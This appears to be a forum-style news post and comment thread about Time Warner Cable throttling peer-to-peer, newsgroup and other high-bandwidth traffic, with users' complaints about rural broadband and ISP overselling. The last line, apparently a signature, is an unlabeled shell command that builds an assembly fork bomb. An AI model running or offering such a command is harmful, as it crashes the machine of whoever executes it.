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Time Warner Cable Implements Packet Shaping
RFC writes "In a move that may be indicative of modern ISP customer service, Time Warner has announced the introduction of packet shaping technology to its network. 'Packet shaping technology has been implemented for newsgroup applications, regardless of the provider, and all peer-to-peer networks and certain other high bandwidth applications not necessarily limited to audio, video, and voice over IP telephony.' As the poster observes, this essentially renders premium service useless. The company is already warning users that attempts to circumvent these measures is a violation of their Terms of Service."
I wouldn't live in the Deep South if someone doubled my pay to go. Hard to believe that's possible, considering I live in Connecticut, but that's where I stand on that.
I live in a rural area of Connecticut that's in a fairly deep recess; wireless is a bitch to get consistently here (I'm out of cell phone range), and the idea of getting my neighbours - all standard lusers - to buy into a T1 line is sardonically humourous.
We have people trying to get Yahoo DSL in my neck of the woods (it's laughable; my Uncle has Yahoo DSL, and we're "out of range". He lives DIRECTLY ACROSS THE STREET), but the thought of switching from Comcast to Yahoo because it's "better" makes me laugh out loud. That's much akin to getting fucked in the ass, but choosing the dildo beforehand that does the deed.
Let's stop dilly-dallying and just change "-1: Overrated" to "-1: Disagree" or "-1: Doesn't Subscribe to Groupthink".
If you don't want your customers to eat an infinite amount of salad at that 'all-you-can-eat' salad bar of yours, don't offer that service. Just sell 'All you can eat, up to a maximum of 50 pounds of salad.'. That way you can still make 90% of your customers happy, and you don't have to lie about 10% of your users.
That's what ISPs are doing as far as I can tell. TW seem to be capping high bandwidth applications, so Torrents and NNTP downloads are slower. I'm not sure if the cap kicks in after you have downloaded some threshold.
Of course most of the bandwidth used by high bandwidth users is actually used to to download pirated stuff too, and the ISPs might get forced by the RIAA/MPAA to block that, but that's a separate issue.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;